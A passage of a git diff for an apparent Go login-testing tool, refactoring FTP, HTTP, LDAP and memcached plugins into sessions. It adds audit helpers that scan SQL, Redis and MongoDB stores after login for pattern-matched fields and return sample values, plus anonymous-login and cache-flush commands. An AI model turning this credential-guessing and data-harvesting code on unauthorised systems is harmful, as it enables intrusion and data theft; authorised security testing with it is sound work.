ftpSession. +type FtpPlugin struct{} + +// dial establishes an FTP control connection using the task's proxy-aware dialer. +func (p *FtpPlugin) dial(task *pkg.Task) (*ftp.ServerConn, error) { + netConn, err := task.DialTimeout("tcp", task.Address(), task.Duration()) if err != nil { - return false, err + return nil, err } - err = conn.Login("anonymous", "") + conn, err := ftp.Dial(task.Address(), ftp.DialWithNetConn(netConn)) if err != nil { - return false, err + netConn.Close() + return nil, err } - s.conn = conn - return true, nil + return conn, nil } -func (s *FtpPlugin) Login() error { - conn, err := s.dial() +func (p *FtpPlugin) Open(task *pkg.Task) (pkg.Session, error) { + conn, err := p.dial(task) if err != nil { - return err + return nil, err } - err = conn.Login(s.Username, s.Password) - if err != nil { - return err + if err := conn.Login(task.Username, task.Password); err != nil { + conn.Quit() + return nil, err } - - s.conn = conn - return nil -} - -func (s *FtpPlugin) GetResult() *pkg.Result { - // todo list root dir - return &pkg.Result{Task: s.Task, OK: true} + return &ftpSession{service: task.Service, conn: conn}, nil } -func (s *FtpPlugin) Close() error { - if s.conn != nil { - return s.conn.Quit() +func (p *FtpPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + conn, err := p.dial(task) + if err != nil { + return nil, err } - return nil + if err := conn.Login("anonymous", ""); err != nil { + conn.Quit() + return nil, err + } + return &ftpSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/http/auth.go b/plugin/http/auth.go index 26473c8..aa7f9e2 100644 --- a/plugin/http/auth.go +++ b/plugin/http/auth.go @@ -2,53 +2,54 @@ package http import ( "fmt" + "github.com/chainreactors/utils/httputils" "github.com/chainreactors/zombie/pkg" "net/http" ) -type HttpAuthPlugin struct { - *pkg.Task - Path string `json:"path"` - Host string `json:"host"` - Method string `json:"method"` +// httpAuthSession implements pkg.Session for HTTP basic auth. +// HTTP is stateless, so Close is a no-op. +type httpAuthSession struct { + service string + client *http.Client } -func (s *HttpAuthPlugin) Name() string { - return s.Service -} +func (s *httpAuthSession) Service() string { return s.service } +func (s *httpAuthSession) Close() error { return nil } -func (s *HttpAuthPlugin) Unauth() (bool, error) { - return false, nil -} +// HttpAuthPlugin is stateless; all connection state lives in httpAuthSession. +type HttpAuthPlugin struct{} + +func (p *HttpAuthPlugin) Open(task *pkg.Task) (pkg.Session, error) { + path := task.Param["path"] + host := task.Param["host"] + method := task.Param["method"] -func (s *HttpAuthPlugin) Login() error { - url := fmt.Sprintf("%s://%s:%s/%s", s.Service, s.IP, s.Port, s.Path) - if s.Method == "" { - s.Method = "GET" + url := fmt.Sprintf("%s://%s:%s/%s", task.Service, task.IP, task.Port, path) + if method == "" { + method = "GET" } - req, err := http.NewRequest(s.Method, url, nil) + req, err := http.NewRequest(method, url, nil) if err != nil { - return err + return nil, err } - if s.Host != "" { - req.Host = s.Host + if host != "" { + req.Host = host } - req.Header.Set("User-Agent", pkg.RandomUA()) - req.SetBasicAuth(s.Username, s.Password) - resp, err := s.HTTPClient(true).Do(req) + req.Header.Set("User-Agent", httputils.GetRandomUA()) + req.SetBasicAuth(task.Username, task.Password) + + client := task.HTTPClient(true) + resp, err := client.Do(req) if err != nil { - return err + return nil, err } if resp.StatusCode != 200 { - return pkg.ErrorWrongUserOrPwd + return nil, pkg.ErrorWrongUserOrPwd } - return nil -} - -func (s *HttpAuthPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} + return &httpAuthSession{service: task.Service, client: client}, nil } -func (s *HttpAuthPlugin) Close() error { - return nil +func (p *HttpAuthPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } diff --git a/plugin/http/digest.go b/plugin/http/digest.go index 0570d9e..c0c81ab 100644 --- a/plugin/http/digest.go +++ b/plugin/http/digest.go @@ -3,48 +3,45 @@ package http import ( "fmt" "github.com/chainreactors/zombie/pkg" - "github.com/xinsnake/go-http-digest-auth-client" + digest_auth_client "github.com/xinsnake/go-http-digest-auth-client" "net/http" ) -type HTTPDigestPlugin struct { - *pkg.Task +// httpDigestSession implements pkg.Session for HTTP digest auth. +// HTTP is stateless, so Close is a no-op. +type httpDigestSession struct { + service string + client *http.Client } -func (s *HTTPDigestPlugin) Name() string { - return s.Service -} +func (s *httpDigestSession) Service() string { return s.service } +func (s *httpDigestSession) Close() error { return nil } -func (s *HTTPDigestPlugin) Unauth() (bool, error) { - return false, nil -} +// HTTPDigestPlugin is stateless; all connection state lives in httpDigestSession. +type HTTPDigestPlugin struct{} -func (s *HTTPDigestPlugin) Login() error { - u := fmt.Sprintf("%s://%s:%s/", s.Service, s.IP, s.Port) +func (p *HTTPDigestPlugin) Open(task *pkg.Task) (pkg.Session, error) { + u := fmt.Sprintf("%s://%s:%s/", task.Service, task.IP, task.Port) req, err := http.NewRequest("GET", u, nil) if err != nil { - return err + return nil, err } - digestClient := digest_auth_client.NewRequest(s.Username, s.Password, "GET", u, "") - // 路由 digest 请求经 per-task 代理客户端(零全局)。 - digestClient.HTTPClient = s.HTTPClient(true) + digestClient := digest_auth_client.NewRequest(task.Username, task.Password, "GET", u, "") + client := task.HTTPClient(true) + digestClient.HTTPClient = client resp, err := digestClient.HTTPClient.Do(req) if err != nil { - return err + return nil, err } defer resp.Body.Close() if resp.StatusCode != 200 { - return fmt.Errorf("failed to connect with digest auth, status code: %d", resp.StatusCode) + return nil, fmt.Errorf("failed to connect with digest auth, status code: %d", resp.StatusCode) } - return nil -} - -func (s *HTTPDigestPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} + return &httpDigestSession{service: task.Service, client: client}, nil } -func (s *HTTPDigestPlugin) Close() error { - return nil +func (p *HTTPDigestPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } diff --git a/plugin/http/http.go b/plugin/http/http.go index 1b5d1c5..832c71d 100644 --- a/plugin/http/http.go +++ b/plugin/http/http.go @@ -5,6 +5,7 @@ import ( "encoding/json" "encoding/xml" "fmt" + "github.com/chainreactors/utils/httputils" "github.com/chainreactors/utils/iutils" "github.com/chainreactors/zombie/pkg" "io/ioutil" @@ -13,192 +14,194 @@ import ( "strings" ) -func NewHTTPPlugin(method string, task *pkg.Task) *HTTPPlugin { - plugin := &HTTPPlugin{ - Task: task, - Method: method, - Path: task.Param["path"], - Host: task.Param["host"], - Type: task.Param["type"], - Header: make(map[string]string), - Forms: make(map[string]string), - Params: make(map[string]string), - //Keymap: make(map[string]string), +// httpSession implements pkg.Session for HTTP GET/POST login. +// HTTP is stateless, so Close is a no-op. +type httpSession struct { + service string + client *http.Client +} + +func (s *httpSession) Service() string { return s.service } +func (s *httpSession) Close() error { return nil } + +// HTTPPlugin is stateless; all per-request state is derived from the task. +type HTTPPlugin struct { + Method string +} + +func NewHTTPPlugin(method string) *HTTPPlugin { + return &HTTPPlugin{Method: method} +} + +func (p *HTTPPlugin) Open(task *pkg.Task) (pkg.Session, error) { + path := task.Param["path"] + host := task.Param["host"] + contentType := task.Param["type"] + matchStatus := task.Param["match_status"] + matchBody := task.Param["match_body"] + matchHeader := task.Param["match_header"] + + scheme := task.Scheme + if scheme == "" { + scheme = "http" } - if task.Scheme == "" { - plugin.Scheme = "http" + if matchStatus == "" { + matchStatus = "200" } - if task.Param["match_status"] == "" { - plugin.MatchStatus = "200" + u := fmt.Sprintf("%s://%s:%s/%s", scheme, task.IP, task.Port, path) + method := p.Method + if method == "" { + method = "GET" } + + // Build params / forms from task.Param + params := make(map[string]string) + forms := make(map[string]string) + headers := make(map[string]string) + if method == "GET" { if userParam, ok := task.Param["username"]; ok { - plugin.Params["username"] = userParam + params["username"] = userParam } else { - plugin.Params["username"] = "username" + params["username"] = "username" } if passParam, ok := task.Param["password"]; ok { - plugin.Params["password"] = passParam + params["password"] = passParam } else { - plugin.Params["password"] = "password" + params["password"] = "password" } } else if method == "POST" { if userParam, ok := task.Param["username"]; ok { - plugin.Forms["username"] = userParam + forms["username"] = userParam } else { - plugin.Forms["username"] = "username" + forms["username"] = "username" } if passParam, ok := task.Param["password"]; ok { - plugin.Forms["password"] = passParam + forms["password"] = passParam } else { - plugin.Forms["password"] = "password" + forms["password"] = "password" } } - return plugin -} - -type HTTPPlugin struct { - *pkg.Task - Path string `json:"path"` - Host string `json:"host"` - Method string `json:"method"` - Header map[string]string `json:"header"` - Forms map[string]string `json:"forms"` - Params map[string]string `json:"params"` // map username/password param name to target param name - Keymap map[string]string `json:"keymap"` - Type string `json:"type"` - MatchStatus string `json:"match_status"` - MatchBody string `json:"match_body"` - MatchHeader string `json:"match_header"` -} - -func (s *HTTPPlugin) Name() string { - return s.Service -} - -func (s *HTTPPlugin) Unauth() (bool, error) { - return false, pkg.NotImplUnauthorized -} - -func (s *HTTPPlugin) Login() error { - u := fmt.Sprintf("%s://%s:%s/%s", s.Scheme, s.IP, s.Port, s.Path) - if s.Method == "" { - s.Method = "GET" - } - var reqBody []byte - var err error + client := task.HTTPClient(true) - if len(s.Params) > 0 { - // 使用 Params + if len(params) > 0 { query := url.Values{} - for key, value := range s.Params { + for key, value := range params { if key == "username" { - query.Set(value, s.Task.Username) + query.Set(value, task.Username) } else if key == "password" { - query.Set(value, s.Task.Password) + query.Set(value, task.Password) } else { query.Set(key, value) } } - reqBody = []byte(query.Encode()) - req, err := http.NewRequest(s.Method, u+"?"+query.Encode(), nil) + req, err := http.NewRequest(method, u+"?"+query.Encode(), nil) if err != nil { - return err + return nil, err } - s.setupRequestHeaders(req) - resp, err := s.HTTPClient(true).Do(req) + setupRequestHeaders(req, host, headers) + resp, err := client.Do(req) if err != nil { - return err + return nil, err } defer resp.Body.Close() if resp.StatusCode != 200 { - return pkg.ErrorWrongUserOrPwd + return nil, pkg.ErrorWrongUserOrPwd } - return nil - } else if len(s.Forms) > 0 { - // 使用 Forms + return &httpSession{service: task.Service, client: client}, nil + } else if len(forms) > 0 { formData := url.Values{} - for key, value := range s.Forms { + for key, value := range forms { if key == "username" { - formData.Set(value, s.Task.Username) + formData.Set(value, task.Username) } else if key == "password" { - formData.Set(value, s.Task.Password) + formData.Set(value, task.Password) } else { formData.Set(key, value) } } - if s.Type == "json" { + var reqBody []byte + var err error + if contentType == "json" { reqBody, err = json.Marshal(formData) if err != nil { - return err + return nil, err } - } else if s.Type == "xml" { + } else if contentType == "xml" { reqBody, err = xml.Marshal(formData) if err != nil { - return err + return nil, err } } else { reqBody = []byte(formData.Encode()) } - req, err := http.NewRequest(s.Method, u, bytes.NewBuffer(reqBody)) + req, err := http.NewRequest(method, u, bytes.NewBuffer(reqBody)) if err != nil { - return err + return nil, err } - s.setupRequestHeaders(req) - if s.Type == "json" { + setupRequestHeaders(req, host, headers) + if contentType == "json" { req.Header.Set("Content-Type", "application/json") - } else if s.Type == "xml" { + } else if contentType == "xml" { req.Header.Set("Content-Type", "application/xml") } else { req.Header.Set("Content-Type", "application/x-www-form-urlencoded") } - resp, err := s.HTTPClient(true).Do(req) + resp, err := client.Do(req) if err != nil { - return err + return nil, err } - return s.matchResponse(resp) + err = matchResponse(resp, matchStatus, matchBody, matchHeader) + if err != nil { + return nil, err + } + return &httpSession{service: task.Service, client: client}, nil } - return fmt.Errorf("no valid params or form data provided") + return nil, fmt.Errorf("no valid params or form data provided") +} + +func (p *HTTPPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } -func (s *HTTPPlugin) setupRequestHeaders(req *http.Request) { - if s.Host != "" { - req.Host = s.Host +func setupRequestHeaders(req *http.Request, host string, headers map[string]string) { + if host != "" { + req.Host = host } - req.Header.Set("User-Agent", pkg.RandomUA()) - for key, value := range s.Header { + req.Header.Set("User-Agent", httputils.GetRandomUA()) + for key, value := range headers { req.Header.Set(key, value) } } -func (s *HTTPPlugin) matchResponse(resp *http.Response) error { - if iutils.ToString(resp.StatusCode) != s.MatchStatus { +func matchResponse(resp *http.Response, matchStatus, matchBody, matchHeader string) error { + if iutils.ToString(resp.StatusCode) != matchStatus { return pkg.ErrorWrongUserOrPwd } - if s.MatchBody != "" { + if matchBody != "" { bodyBytes, err := ioutil.ReadAll(resp.Body) if err != nil { return err } bodyString := string(bodyBytes) - if !strings.Contains(bodyString, s.MatchBody) { + if !strings.Contains(bodyString, matchBody) { return pkg.ErrorWrongUserOrPwd } } - if s.MatchHeader != "" { + if matchHeader != "" { matchFound := false for key, values := range resp.Header { for _, value := range values { - if key == s.MatchHeader || value == s.MatchHeader { + if key == matchHeader || value == matchHeader { matchFound = true break } @@ -214,12 +217,3 @@ func (s *HTTPPlugin) matchResponse(resp *http.Response) error { return nil } - -func (s *HTTPPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *HTTPPlugin) Close() error { - return nil -} diff --git a/plugin/http/proxy.go b/plugin/http/proxy.go index 18c0834..f7d6c5b 100644 --- a/plugin/http/proxy.go +++ b/plugin/http/proxy.go @@ -7,91 +7,88 @@ import ( "net/url" ) -type HTTPProxyPlugin struct { - *pkg.Task - TestURL string `json:"url"` +// httpProxySession implements pkg.Session for HTTP proxy test results. +// HTTP is stateless, so Close is a no-op. +type httpProxySession struct { + service string + client *http.Client } -func (s *HTTPProxyPlugin) Name() string { - return s.Service -} +func (s *httpProxySession) Service() string { return s.service } +func (s *httpProxySession) Close() error { return nil } + +// HTTPProxyPlugin is stateless; all connection state lives in httpProxySession. +type HTTPProxyPlugin struct{} -func (s *HTTPProxyPlugin) Unauth() (bool, error) { - proxyURL, err := url.Parse(fmt.Sprintf("%s://%s:%s", s.Scheme, s.IP, s.Port)) +func (p *HTTPProxyPlugin) Open(task *pkg.Task) (pkg.Session, error) { + proxyURL, err := url.Parse(fmt.Sprintf("%s://%s:%s", task.Scheme, task.IP, task.Port)) if err != nil { - return false, err + return nil, err } - if s.TestURL == "" { - s.TestURL = "http://baidu.com" + // Set proxy authentication + proxyURL.User = url.UserPassword(task.Username, task.Password) + + testURL := task.Param["url"] + if testURL == "" { + testURL = "http://baidu.com" } transport := &http.Transport{Proxy: http.ProxyURL(proxyURL)} client := &http.Client{Transport: transport} - req, err := http.NewRequest("GET", s.TestURL, nil) + req, err := http.NewRequest("GET", testURL, nil) if err != nil { - return false, err + return nil, err } resp, err := client.Do(req) if err != nil { - return false, err + return nil, err } defer resp.Body.Close() - // 检查是否通过认证 if resp.StatusCode == http.StatusProxyAuthRequired { - return false, pkg.ErrorWrongUserOrPwd + return nil, pkg.ErrorWrongUserOrPwd } if resp.StatusCode != http.StatusOK { - return false, fmt.Errorf("unexpected status code: %d", resp.StatusCode) + return nil, fmt.Errorf("unexpected status code: %d", resp.StatusCode) } - s.Username = "" - return true, nil + + return &httpProxySession{service: task.Service, client: client}, nil } -func (s *HTTPProxyPlugin) Login() error { - proxyURL, err := url.Parse(fmt.Sprintf("%s://%s:%s", s.Scheme, s.IP, s.Port)) +func (p *HTTPProxyPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + proxyURL, err := url.Parse(fmt.Sprintf("%s://%s:%s", task.Scheme, task.IP, task.Port)) if err != nil { - return err + return nil, err } - // 设置代理认证 - proxyURL.User = url.UserPassword(s.Username, s.Password) - if s.TestURL == "" { - s.TestURL = "http://baidu.com" + testURL := task.Param["url"] + if testURL == "" { + testURL = "http://baidu.com" } transport := &http.Transport{Proxy: http.ProxyURL(proxyURL)} client := &http.Client{Transport: transport} - req, err := http.NewRequest("GET", s.TestURL, nil) + req, err := http.NewRequest("GET", testURL, nil) if err != nil { - return err + return nil, err } resp, err := client.Do(req) if err != nil { - return err + return nil, err } defer resp.Body.Close() - // 检查是否通过认证 if resp.StatusCode == http.StatusProxyAuthRequired { - return pkg.ErrorWrongUserOrPwd + return nil, pkg.ErrorWrongUserOrPwd } if resp.StatusCode != http.StatusOK { - return fmt.Errorf("unexpected status code: %d", resp.StatusCode) + return nil, fmt.Errorf("unexpected status code: %d", resp.StatusCode) } - return nil -} - -func (s *HTTPProxyPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *HTTPProxyPlugin) Close() error { - return nil + return &httpProxySession{service: task.Service, client: client}, nil } diff --git a/plugin/internal/kvsess/audit.go b/plugin/internal/kvsess/audit.go new file mode 100644 index 0000000..5930686 --- /dev/null +++ b/plugin/internal/kvsess/audit.go @@ -0,0 +1,40 @@ +package kvsess + +import ( + "strings" +) + +func (s *RedisSession) Audit(patterns []string, limit int) (map[string]string, error) { + if limit <= 0 { + limit = 100 + } + + var allKeys []string + for _, p := range patterns { + keys, err := s.Keys("*" + p + "*") + if err != nil { + continue + } + allKeys = append(allKeys, keys...) + } + + seen := make(map[string]struct{}) + results := make(map[string]string) + count := 0 + for _, key := range allKeys { + if _, dup := seen[key]; dup { + continue + } + seen[key] = struct{}{} + if count >= limit { + break + } + val, err := s.Get(key) + if err != nil || len(val) == 0 { + continue + } + results[key] = strings.TrimSpace(string(val)) + count++ + } + return results, nil +} diff --git a/plugin/internal/kvsess/kvsess.go b/plugin/internal/kvsess/kvsess.go new file mode 100644 index 0000000..78bc577 --- /dev/null +++ b/plugin/internal/kvsess/kvsess.go @@ -0,0 +1,47 @@ +package kvsess + +import ( + "github.com/go-redis/redis" +) + +type RedisSession struct { + Client *redis.Client + SvcName string +} + +func (s *RedisSession) Service() string { return s.SvcName } +func (s *RedisSession) Close() error { return s.Client.Close() } + +func (s *RedisSession) Get(key string) ([]byte, error) { + val, err := s.Client.Get(key).Bytes() + if err == redis.Nil { + return nil, nil + } + return val, err +} + +func (s *RedisSession) Command(name string, args ...string) (interface{}, error) { + cmdArgs := make([]interface{}, 1+len(args)) + cmdArgs[0] = name + for i, a := range args { + cmdArgs[i+1] = a + } + return s.Client.Do(cmdArgs...).Result() +} + +func (s *RedisSession) Keys(pattern string) ([]string, error) { + var allKeys []string + var cursor uint64 + for { + keys, next, err := s.Client.Scan(cursor, pattern, 100).Result() + if err != nil { + return allKeys, err + } + allKeys = append(allKeys, keys...) + cursor = next + if cursor == 0 { + break + } + } + return allKeys, nil +} diff --git a/plugin/internal/sqlsess/audit.go b/plugin/internal/sqlsess/audit.go new file mode 100644 index 0000000..bcf86ed --- /dev/null +++ b/plugin/internal/sqlsess/audit.go @@ -0,0 +1,138 @@ +package sqlsess + +import ( + "fmt" + "strings" +) + +type dialect struct { + schemaCol string + columnsTable string + excludeSchemas []string + textTypes []string + sampleSQL func(schema, table, col string, limit int) string +} + +var dialects = map[string]*dialect{ + "mysql": { + schemaCol: "TABLE_SCHEMA", + columnsTable: "INFORMATION_SCHEMA.COLUMNS", + excludeSchemas: []string{"mysql", "information_schema", "performance_schema", "sys"}, + textTypes: []string{"varchar", "text", "char", "mediumtext", "longtext", "tinytext"}, + + sampleSQL: func(schema, table, col string, limit int) string { + return fmt.Sprintf("SELECT `%s` FROM `%s`.`%s` WHERE `%s` IS NOT NULL AND `%s` != '' LIMIT %d", + col, schema, table, col, col, limit) + }, + }, + "mssql": { + schemaCol: "TABLE_SCHEMA", + columnsTable: "INFORMATION_SCHEMA.COLUMNS", + excludeSchemas: []string{"sys", "INFORMATION_SCHEMA"}, + textTypes: []string{"varchar", "nvarchar", "text", "ntext", "char", "nchar"}, + + sampleSQL: func(schema, table, col string, limit int) string { + return fmt.Sprintf("SELECT TOP %d [%s] FROM [%s].[%s] WHERE [%s] IS NOT NULL AND [%s] != ''", + limit, col, schema, table, col, col) + }, + }, + "postgresql": { + schemaCol: "table_schema", + columnsTable: "information_schema.columns", + excludeSchemas: []string{"pg_catalog", "information_schema"}, + textTypes: []string{"character varying", "text", "character", "name"}, + + sampleSQL: func(schema, table, col string, limit int) string { + return fmt.Sprintf(`SELECT "%s" FROM "%s"."%s" WHERE "%s" IS NOT NULL AND "%s" != '' LIMIT %d`, + col, schema, table, col, col, limit) + }, + }, + "oracle": { + schemaCol: "OWNER", + columnsTable: "ALL_TAB_COLUMNS", + excludeSchemas: []string{"SYS", "SYSTEM", "CTXSYS", "MDSYS", "OLAPSYS", "XDB", "WMSYS", "ORDDATA", "ORDSYS"}, + textTypes: []string{"VARCHAR2", "NVARCHAR2", "CHAR", "NCHAR", "CLOB", "NCLOB"}, + + sampleSQL: func(schema, table, col string, limit int) string { + return fmt.Sprintf(`SELECT "%s" FROM "%s"."%s" WHERE "%s" IS NOT NULL AND ROWNUM <= %d`, + col, schema, table, col, limit) + }, + }, +} + +func (s *Session) Audit(patterns []string, limit int) (map[string]string, error) { + d, ok := dialects[s.SvcName] + if !ok { + return nil, fmt.Errorf("audit: unsupported SQL dialect %q", s.SvcName) + } + if limit <= 0 { + limit = 100 + } + + query := buildDiscoverySQL(d, patterns) + rows, err := s.Query(query) + if err != nil { + return nil, fmt.Errorf("audit discover: %w", err) + } + + results := make(map[string]string) + remaining := limit + // rows[0] is the header row from sqlsess.Query + for i, row := range rows { + if remaining == 0 { + break + } + if i == 0 || len(row) < 3 { + continue + } + schema, table, col := row[0], row[1], row[2] + location := fmt.Sprintf("%s.%s.%s", schema, table, col) + + sampleRows, err := s.Query(d.sampleSQL(schema, table, col, remaining)) + if err != nil { + continue + } + var values []string + for j, sr := range sampleRows { + if j == 0 { + continue + } + if len(sr) > 0 && sr[0] != "" { + values = append(values, sr[0]) + remaining-- + if remaining == 0 { + break + } + } + } + if len(values) > 0 { + results[location] = strings.Join(values, "\n") + } + } + return results, nil +} + +func buildDiscoverySQL(d *dialect, patterns []string) string { + var likes []string + for _, p := range patterns { + likes = append(likes, fmt.Sprintf("LOWER(COLUMN_NAME) LIKE '%%%s%%'", strings.ReplaceAll(p, "'", "''"))) + } + + var excludes []string + for _, s := range d.excludeSchemas { + excludes = append(excludes, fmt.Sprintf("'%s'", s)) + } + + var types []string + for _, t := range d.textTypes { + types = append(types, fmt.Sprintf("'%s'", t)) + } + + return fmt.Sprintf( + "SELECT %s, TABLE_NAME, COLUMN_NAME FROM %s WHERE (%s) AND %s NOT IN (%s) AND DATA_TYPE IN (%s)", + d.schemaCol, d.columnsTable, + strings.Join(likes, " OR "), + d.schemaCol, strings.Join(excludes, ","), + strings.Join(types, ","), + ) +} diff --git a/plugin/internal/sqlsess/audit_test.go b/plugin/internal/sqlsess/audit_test.go new file mode 100644 index 0000000..6c20f9f --- /dev/null +++ b/plugin/internal/sqlsess/audit_test.go @@ -0,0 +1,9 @@ +package sqlsess + +import "testing" + +func TestPostgreSQLAuditDialectName(t *testing.T) { + if _, ok := dialects["postgresql"]; !ok { + t.Fatal("postgresql session name has no audit dialect") + } +} diff --git a/plugin/internal/sqlsess/sqlsess.go b/plugin/internal/sqlsess/sqlsess.go new file mode 100644 index 0000000..b5f731b --- /dev/null +++ b/plugin/internal/sqlsess/sqlsess.go @@ -0,0 +1,48 @@ +package sqlsess + +import "database/sql" + +type Session struct { + DB *sql.DB + SvcName string +} + +func (s *Session) Service() string { return s.SvcName } +func (s *Session) Close() error { return s.DB.Close() } + +func (s *Session) Query(query string, args ...any) ([][]string, error) { + rows, err := s.DB.Query(query, args...) + if err != nil { + return nil, err + } + defer rows.Close() + + cols, err := rows.Columns() + if err != nil { + return nil, err + } + ncol := len(cols) + + var result [][]string + result = append(result, cols) + + vals := make([]sql.NullString, ncol) + ptrs := make([]interface{}, ncol) + for i := range vals { + ptrs[i] = &vals[i] + } + + for rows.Next() { + if err := rows.Scan(ptrs...); err != nil { + continue + } + row := make([]string, ncol) + for i, v := range vals { + if v.Valid { + row[i] = v.String + } + } + result = append(result, row) + } + return result, rows.Err() +} diff --git a/plugin/ldap/ldap.go b/plugin/ldap/ldap.go index 214a6e0..0912b53 100644 --- a/plugin/ldap/ldap.go +++ b/plugin/ldap/ldap.go @@ -1,68 +1,67 @@ package ldap import ( + "errors" + "github.com/chainreactors/zombie/pkg" ldap "github.com/go-ldap/ldap/v3" ) -type LdapPlugin struct { - *pkg.Task - Input string - conn *ldap.Conn -} - -func (s *LdapPlugin) Unauth() (bool, error) { - //TODO implement me - return false, nil +// ldapSession implements pkg.DirectorySession over a bound LDAP connection. +type ldapSession struct { + service string + conn *ldap.Conn } -//func (s *LdapPlugin) Query() bool { -// panic("implement me") -//} +func (s *ldapSession) Service() string { return s.service } -func (s *LdapPlugin) Login() error { - var conn *ldap.Conn - ldap.DefaultTimeout = s.Duration() - conn, err := ldap.Dial("tcp", s.Address()) - - if err != nil { - return err - } - - err = conn.Bind(s.Username, s.Password) - if err != nil { - return err - } - - s.conn = conn - return nil -} - -func (s *LdapPlugin) Close() error { +func (s *ldapSession) Close() error { if s.conn != nil { return s.conn.Close() } return nil } -func (s *LdapPlugin) Name() string { - return s.Service +func (s *ldapSession) Search(baseDN, filter string, attrs []string) ([]map[string][]string, error) { + req := ldap.NewSearchRequest( + baseDN, + ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, + filter, + attrs, + nil, + ) + res, err := s.conn.Search(req) + if err != nil { + return nil, err + } + results := make([]map[string][]string, 0, len(res.Entries)) + for _, entry := range res.Entries { + m := make(map[string][]string, len(entry.Attributes)+1) + m["dn"] = []string{entry.DN} + for _, attr := range entry.Attributes { + m[attr.Name] = attr.Values + } + results = append(results, m) + } + return results, nil } -func (s *LdapPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} +// LdapPlugin is stateless; all connection state lives in ldapSession. +type LdapPlugin struct{} + +func (p *LdapPlugin) Open(task *pkg.Task) (pkg.Session, error) { + ldap.DefaultTimeout = task.Duration() + conn, err := ldap.Dial("tcp", task.Address()) + if err != nil { + return nil, err + } + if err := conn.Bind(task.Username, task.Password); err != nil { + conn.Close() + return nil, err + } + return &ldapSession{service: task.Service, conn: conn}, nil } -//func (s *LdapPlugin) SetQuery(query string) { -// s.Input = query -//} -// -//func (s *LdapPlugin) Output(res interface{}) { -// -//} -// -//func (s *LdapPlugin) GetInfo() bool { -// s.conn.Close() -// return true -//} +func (p *LdapPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, errors.New("ldap: unauthenticated access not supported") +} diff --git a/plugin/memcache/memcache.go b/plugin/memcache/memcache.go index c17f541..9c0413b 100644 --- a/plugin/memcache/memcache.go +++ b/plugin/memcache/memcache.go @@ -2,38 +2,60 @@ package memcache import ( "fmt" + "strings" + "github.com/bradfitz/gomemcache/memcache" "github.com/chainreactors/zombie/pkg" ) -type MemcachePlugin struct { - *pkg.Task - client *memcache.Client +type memcacheSession struct { + service string + client *memcache.Client } -func (s *MemcachePlugin) Name() string { - return s.Service +func (s *memcacheSession) Service() string { return s.service } + +func (s *memcacheSession) Close() error { return nil } + +func (s *memcacheSession) Get(key string) ([]byte, error) { + item, err := s.client.Get(key) + if err != nil { + return nil, err + } + return item.Value, nil } -func (s *MemcachePlugin) Unauth() (bool, error) { - client := memcache.New(fmt.Sprintf("%s:%s", s.IP, s.Port)) - s.client = client - return true, nil +func (s *memcacheSession) Keys(pattern string) ([]string, error) { + return nil, fmt.Errorf("memcached does not support key enumeration") } -func (s *MemcachePlugin) Login() error { - client := memcache.New(fmt.Sprintf("%s:%s", s.IP, s.Port)) - s.client = client - // Memcache doesn't support authentication by default - return nil +func (s *memcacheSession) Command(name string, args ...string) (interface{}, error) { + switch strings.ToUpper(name) { + case "SET": + if len(args) < 2 { + return nil, fmt.Errorf("SET requires key and value") + } + return "OK", s.client.Set(&memcache.Item{Key: args[0], Value: []byte(args[1])}) + case "DELETE": + if len(args) < 1 { + return nil, fmt.Errorf("DELETE requires key") + } + return "OK", s.client.Delete(args[0]) + case "FLUSH", "FLUSH_ALL": + return "OK", s.client.FlushAll() + default: + return nil, fmt.Errorf("unsupported memcached command: %s", name) + } } -func (s *MemcachePlugin) GetResult() *pkg.Result { - // todo list items - return &pkg.Result{Task: s.Task, OK: true} +type MemcachePlugin struct{} + +func (p *MemcachePlugin) Open(task *pkg.Task) (pkg.Session, error) { + client := memcache.New(fmt.Sprintf("%s:%s", task.IP, task.Port)) + return &memcacheSession{service: task.Service, client: client}, nil } -func (s *MemcachePlugin) Close() error { - // Memcache client doesn't have a close method - return nil +func (p *MemcachePlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + client := memcache.New(fmt.Sprintf("%s:%s", task.IP, task.Port)) + return &memcacheSession{service: task.Service, client: client}, nil } diff --git a/plugin/mongo/audit.go b/plugin/mongo/audit.go new file mode 100644 index 0000000..ab64699 --- /dev/null +++ b/plugin/mongo/audit.go @@ -0,0 +1,132 @@ +package mongo + +import ( + "fmt" + "sort" + "strings" + + "go.mongodb.org/mongo-driver/bson" + "go.mongodb.org/mongo-driver/mongo/options" +) + +var mongoSystemDBs = map[string]struct{}{ + "admin": {}, "local": {}, "config": {}, +} + +func (s *mongoSession) Audit(patterns []string, limit int) (map[string]string, error) { + if limit <= 0 { + limit = 100 + } + + dbs, err := s.client.ListDatabaseNames(s.ctx, bson.D{}) + if err != nil { + return nil, err + } + + results := make(map[string]string) + remaining := limit + done := false + for _, db := range dbs { + if done { + break + } + if _, sys := mongoSystemDBs[db]; sys { + continue + } + colls, err := s.client.Database(db).ListCollectionNames(s.ctx, bson.D{}) + if err != nil { + continue + } + for _, coll := range colls { + if remaining == 0 { + done = true + break + } + location := db + "." + coll + opts := options.Find().SetLimit(int64(remaining)) + cursor, err := s.client.Database(db).Collection(coll).Find(s.ctx, bson.D{}, opts) + if err != nil { + continue + } + + var docs []string + for cursor.Next(s.ctx) { + fields, err := matchingDocumentFields(cursor.Current, patterns) + if err != nil || len(fields) == 0 { + continue + } + docs = append(docs, strings.Join(fields, "\n")) + remaining-- + if remaining == 0 { + break + } + } + _ = cursor.Close(s.ctx) + + if len(docs) > 0 { + results[location] = strings.Join(docs, "\n") + } + } + } + return results, nil +} + +func matchingDocumentFields(raw bson.Raw, patterns []string) ([]string, error) { + 